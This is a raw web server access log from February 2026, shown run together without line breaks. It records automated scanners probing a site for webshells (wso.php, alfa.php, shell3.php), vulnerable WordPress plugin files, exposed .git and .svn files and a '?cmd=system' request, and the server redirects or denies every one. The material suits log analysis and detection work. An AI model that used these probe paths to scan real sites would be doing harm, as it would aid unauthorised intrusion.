[22/Feb/2026:01:32:50 +0300] "GET /i.php?p= HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:43 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:01:38:31 +0300] "GET /author/makena/ HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 27.46.75.20 - - [22/Feb/2026:02:04:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.3828.156 Safari/537.36 Edge/18.18362" 45.148.10.159 - - [22/Feb/2026:01:26:43 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 20.43.58.61 - - [22/Feb/2026:01:31:41 +0300] "GET /19.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:31:45 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:31:49 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:32:17 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:32:39 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:03 +0300] "GET /y.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [22/Feb/2026:01:36:22 +0300] "GET /sm.php HTTP/1.1" 301 795 "-" "-" 45.148.10.159 - - [22/Feb/2026:01:27:02 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:31:30 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [22/Feb/2026:02:02:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 68.221.64.54 - - [22/Feb/2026:02:02:01 +0300] "GET /add-user.php HTTP/1.1" 301 795 "-" "-" 68.221.129.30 - - [22/Feb/2026:01:22:33 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.148.10.159 - - [22/Feb/2026:01:26:46 +0300] "GET /.svn/wc.db HTTP/1.1" 403 787 "-" "Mozilla/5.0" 45.148.10.159 - - [22/Feb/2026:01:26:46 +0300] "GET /.svn/entries HTTP/1.1" 403 787 "-" "Mozilla/5.0" 20.43.58.61 - - [22/Feb/2026:01:32:29 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:15 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [22/Feb/2026:01:36:28 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [22/Feb/2026:01:36:30 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [22/Feb/2026:01:36:36 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:02:03:28 +0300] "GET /ufaq/what HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 20.43.58.61 - - [22/Feb/2026:01:33:24 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:28 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:31 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 74.248.96.218 - - [22/Feb/2026:01:36:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:02:41:00 +0300] "GET /ufaq/how-long-doe HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 20.43.58.61 - - [22/Feb/2026:01:31:54 +0300] "GET /d.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:32:04 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:54 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 20.43.58.61 - - [22/Feb/2026:01:33:56 +0300] "GET /312.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:03:12:29 +0300] "GET /ufaq/what-i HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 3.83.76.234 - - [22/Feb/2026:03:06:18 +0300] "GET /category/uncategorized/ HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 20.238.121.35 - - [22/Feb/2026:03:29:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.48.106.246 - - [22/Feb/2026:03:15:42 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:03:25:14 +0300] "GET /ufaq/how- HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 167.86.83.231 - - [22/Feb/2026:04:18:25 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 3.83.76.234 - - [22/Feb/2026:04:01:00 +0300] "GET /ufaq/which-arm-of-the-government-regulate HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 3.83.76.234 - - [22/Feb/2026:04:08:47 +0300] "GET /ufaq/how-are-you-going-to-pay-me/ HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 3.83.76.234 - - [22/Feb/2026:04:15:40 +0300] "GET /ufaq-category/loan HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 167.86.83.231 - - [22/Feb/2026:04:18:17 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 20.203.129.217 - - [22/Feb/2026:05:02:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.83.76.234 - - [22/Feb/2026:04:28:12 +0300] "GET /ufaq/can-one-u HTTP/1.1" 301 795 "-" "TerraCotta https://github.com/CeramicTeam/CeramicTerracotta" 85.203.23.43 - - [22/Feb/2026:06:54:38 +0300] "GET /wp-content/plugins/advanced-product-fields-for-woocommerce/db.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:54:43 +0300] "GET /wp-content/plugins/so-pinyin-slugs/inc/main_json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:54:47 +0300] "GET /3PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:54:51 +0300] "GET /5PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:54:56 +0300] "GET /image/5PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:54:59 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:02 +0300] "GET /network_xo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:07 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:11 +0300] "GET /wp-content/themes/theme-check/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:13 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:18 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:23 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:28 +0300] "GET /wp-content/makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:32 +0300] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:36 +0300] "GET /wp-content/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:41 +0300] "GET /wp-content/plugins/phpad/as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:43 +0300] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:47 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:50 +0300] "GET /form.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:55 +0300] "GET /wp-json/wp/v2/posts?cmd=system HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:55:58 +0300] "GET /wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:03 +0300] "GET /wp-admin/asasx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:08 +0300] "GET /wp-content/themes/aback.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:13 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:18 +0300] "GET /ad.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:23 +0300] "GET /moderation.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:27 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:32 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:37 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:41 +0300] "GET /jindex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:45 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:50 +0300] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:56:55 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:00 +0300] "GET /leaf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:05 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:10 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:14 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:18 +0300] "GET /wp-content/plugins/mainhosting/default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:22 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:27 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:30 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:35 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:40 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:45 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:50 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:54 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:57:59 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:04 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:09 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:12 +0300] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:17 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:23 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:25 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:30 +0300] "GET /back.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:35 +0300] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:40 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:45 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:50 +0300] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:58:55 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:00 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/up.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:05 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:10 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:15 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:19 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:23 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:27 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:32 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:37 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:42 +0300] "GET /wp-content/autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:47 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:47 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:48 +0300] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:53 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:53 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:06:59:58 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:03 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:08 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:13 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:18 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:23 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:27 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:32 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:36 +0300] "GET /wp-includes/blocks/comments/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:37 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:37 +0300] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:42 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:47 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:52 +0300] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:52 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:00:57 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:02 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:02 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:06 +0300] "GET /worksec.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:11 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:15 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:19 +0300] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:24 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:29 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:34 +0300] "GET /fast.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:39 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:44 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:49 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:49 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:54 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:01:59 +0300] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:01 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:06 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:11 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:12 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:17 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:21 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:21 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:22 +0300] "GET /wp- HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:24 +0300] "GET /wp-error.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:29 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:34 +0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:39 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:39 +0300] "GET /xc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:44 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:49 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:54 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:54 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:57 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:02:57 +0300] "GET /load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:02 +0300] "GET /wp-admin/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:07 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:12 +0300] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:17 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:22 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:26 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:31 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:36 +0300] "GET /wp-content/themes/twentyfifteen/shell3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:41 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:46 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:46 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:51 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:03:55 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:00 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:05 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:09 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:14 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:15 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:20 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:20 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:25 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:26 +0300] "GET /system.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:28 +0300] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:33 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:38 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:38 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:43 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:48 +0300] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:53 +0300] "GET /assets/images/selam.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:04:58 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:03 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:03 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:04 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:09 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:09 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:05:14 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - 